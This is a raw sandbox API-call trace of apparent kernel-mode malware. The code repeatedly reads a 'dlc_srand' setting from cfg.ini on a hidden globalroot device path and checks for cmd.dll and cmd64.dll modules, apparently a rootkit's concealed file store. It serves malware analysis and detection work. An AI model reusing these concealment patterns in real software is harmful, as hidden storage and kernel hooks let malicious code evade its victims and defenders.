[0129.523] KeLeaveCriticalRegion () [0129.523] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.523] ReleaseMutex (hMutex=0xf0) returned 1 [0129.523] Sleep (dwMilliseconds=0x124f80) [0129.538] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.538] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.538] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.538] KeEnterCriticalRegion () [0129.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.538] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.538] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.538] IdePortDispatch () returned 0x103 [0129.539] KeWaitForMutexObject () returned 0x0 [0129.539] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.539] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.539] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.539] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.539] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.539] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02a10 [0129.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.539] KeLeaveCriticalRegion () [0129.539] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.539] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.539] KeEnterCriticalRegion () [0129.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.539] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.539] KeLeaveCriticalRegion () [0129.539] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.539] KeEnterCriticalRegion () [0129.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.539] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.539] IdePortDispatch () returned 0x103 [0129.539] KeWaitForMutexObject () returned 0x0 [0129.539] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.540] KeLeaveCriticalRegion () [0129.540] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.540] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.540] KeEnterCriticalRegion () [0129.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.540] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c0c000 [0129.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.540] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.540] IdePortDispatch () returned 0x103 [0129.540] KeWaitForMutexObject () returned 0x0 [0129.540] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.540] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.540] IdePortDispatch () returned 0x103 [0129.540] KeWaitForMutexObject () returned 0x0 [0129.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.540] KeLeaveCriticalRegion () [0129.540] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.541] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.541] KeEnterCriticalRegion () [0129.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.541] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.541] KeLeaveCriticalRegion () [0129.541] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.541] KeEnterCriticalRegion () [0129.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.541] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.541] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05520, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.541] KeLeaveCriticalRegion () [0129.541] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.541] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.541] KeEnterCriticalRegion () [0129.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.541] ExFreePoolWithTag (P=0xfffffa8003c02a10, Tag=0x0) [0129.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.541] KeLeaveCriticalRegion () [0129.541] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.541] ReleaseMutex (hMutex=0xf0) returned 1 [0129.541] Sleep (dwMilliseconds=0x124f80) [0129.558] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.558] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.558] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.558] KeEnterCriticalRegion () [0129.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.558] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.558] IdePortDispatch () returned 0x103 [0129.558] KeWaitForMutexObject () returned 0x0 [0129.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.558] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.558] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.558] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.558] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.558] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04740 [0129.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.558] KeLeaveCriticalRegion () [0129.558] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.558] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.558] KeEnterCriticalRegion () [0129.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.558] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.558] KeLeaveCriticalRegion () [0129.558] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.558] KeEnterCriticalRegion () [0129.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.559] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.559] IdePortDispatch () returned 0x103 [0129.559] KeWaitForMutexObject () returned 0x0 [0129.559] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.559] KeLeaveCriticalRegion () [0129.559] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.559] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.559] KeEnterCriticalRegion () [0129.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.559] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c11000 [0129.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.559] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.559] IdePortDispatch () returned 0x103 [0129.559] KeWaitForMutexObject () returned 0x0 [0129.559] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.559] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.559] IdePortDispatch () returned 0x103 [0129.560] KeWaitForMutexObject () returned 0x0 [0129.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.560] KeLeaveCriticalRegion () [0129.560] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.560] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.560] KeEnterCriticalRegion () [0129.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.560] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.560] KeLeaveCriticalRegion () [0129.560] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.560] KeEnterCriticalRegion () [0129.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.560] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.560] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05580, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.560] KeLeaveCriticalRegion () [0129.561] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.561] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.561] KeEnterCriticalRegion () [0129.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.561] ExFreePoolWithTag (P=0xfffffa8003c04740, Tag=0x0) [0129.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.561] KeLeaveCriticalRegion () [0129.561] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.561] ReleaseMutex (hMutex=0xf0) returned 1 [0129.561] Sleep (dwMilliseconds=0x124f80) [0129.576] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.576] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.576] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.576] KeEnterCriticalRegion () [0129.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.576] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.576] IdePortDispatch () returned 0x103 [0129.578] KeWaitForMutexObject () returned 0x0 [0129.578] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.578] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.578] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.578] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.578] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.578] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.578] KeLeaveCriticalRegion () [0129.578] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.578] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.578] KeEnterCriticalRegion () [0129.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.578] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.578] KeLeaveCriticalRegion () [0129.578] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.578] KeEnterCriticalRegion () [0129.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.578] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.578] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.578] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.578] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.578] IdePortDispatch () returned 0x103 [0129.578] KeWaitForMutexObject () returned 0x0 [0129.578] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.578] KeLeaveCriticalRegion () [0129.579] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.579] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.579] KeEnterCriticalRegion () [0129.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.579] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c16000 [0129.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.579] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.579] IdePortDispatch () returned 0x103 [0129.579] KeWaitForMutexObject () returned 0x0 [0129.579] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.579] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.579] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.579] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.579] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.579] IdePortDispatch () returned 0x103 [0129.579] KeWaitForMutexObject () returned 0x0 [0129.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.579] KeLeaveCriticalRegion () [0129.579] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.580] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.580] KeEnterCriticalRegion () [0129.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.580] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.580] KeLeaveCriticalRegion () [0129.580] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.580] KeEnterCriticalRegion () [0129.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.580] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.580] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05bd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.580] KeLeaveCriticalRegion () [0129.580] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.580] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.580] KeEnterCriticalRegion () [0129.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.580] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.580] KeLeaveCriticalRegion () [0129.580] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.580] ReleaseMutex (hMutex=0xf0) returned 1 [0129.580] Sleep (dwMilliseconds=0x124f80) [0129.596] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.596] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.596] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.596] KeEnterCriticalRegion () [0129.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.596] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.596] IdePortDispatch () returned 0x103 [0129.596] KeWaitForMutexObject () returned 0x0 [0129.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.596] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.596] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.596] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.597] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.597] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05120 [0129.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.597] KeLeaveCriticalRegion () [0129.597] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.597] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.597] KeEnterCriticalRegion () [0129.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.597] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.597] KeLeaveCriticalRegion () [0129.597] 